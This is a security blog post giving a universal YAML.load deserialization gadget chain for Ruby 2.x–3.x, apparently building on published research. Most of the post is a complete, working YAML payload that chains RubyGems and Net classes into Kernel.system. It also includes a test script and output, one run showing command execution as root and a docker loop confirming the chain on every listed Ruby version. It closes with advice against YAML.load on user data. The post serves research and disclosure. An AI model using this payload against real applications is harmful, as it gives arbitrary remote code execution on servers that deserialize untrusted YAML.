A couple of years ago I wrote a universal YAML.load deserialization RCE gadget based on the work by Luke Jahnke from elttam. This has since been patched and no longer works on Ruby versions after 2.7.2 and Rails 6.1. Fortunately, William Bowling (vakzz) has found a new gadget chain that works on all Ruby versions 2.x - 3.x. His write-up for this is excellent and I highly recommend you give it a read: https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html.

As with the previous gadget I wanted to make this exploitable via YAML.load. In this instance I’m not going to go through the whole process of getting to this, since it was almost identical to the process covered in my previous post.

New YAML payload

The new payload is pretty straight forward and easy to understand. The one interesting part is that the payload needs to include both Gem::Installer and Gem::SpecFetcher to ensure all the required classes are loaded by the autoloader. To accomplish this, they are added as ruby objects at the start of the yaml payload. For these to actually be loaded/deserialized, they need to have data, thus the i: x and i: y. These don’t matter, they simply need to be valid Yaml.

The actual command to execute is in the git_set entry:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

Using the following Ruby script to test the payload:

require "yaml"

YAML.load(File.read("p.yml"))

The outcome is RCE, there is still an error that occurs, but at this point command execution has already occurred.

rubby@rev:/tmp$ ruby r.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
        32: from r.rb:8:in `<main>'
        31: from /usr/local/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/local/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/local/lib/ruby/2.7.0/rubygems/requirement.rb:220:in `init_with'
        11: from /usr/local/lib/ruby/2.7.0/rubygems/requirement.rb:216:in `yaml_initialize'
        10: from /usr/local/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_syck_default_key_in_requirements'
         9: from /usr/local/lib/ruby/2.7.0/rubygems/package/tar_reader.rb:61:in `each'
         8: from /usr/local/lib/ruby/2.7.0/rubygems/package/tar_header.rb:103:in `from'
         7: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/local/lib/ruby/2.7.0/rubygems/request_set.rb:400:in `resolve'
         2: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/local/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

Using vakzz’s test (and adding a rescue nil to silence the error message), you get the same results showing that this works on ruby 2.x through 3.x:

~/ruby# for i in `seq -f 2.%g 0 7; echo 3.0`; do echo -n "ruby:${i} - "; docker run --rm -it -v `pwd`:/r --workdir=/r ruby:${i} ruby -e 'require "yaml"; YAML.load(File.read("p.yml")) rescue nil'; done
ruby:2.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.1 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.2 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.3 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.4 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.5 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.6 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.7 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)

Conclusion

As always, never use YAML.load with user supplied data, better yet, stick to using SafeYAML.

Payload: https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565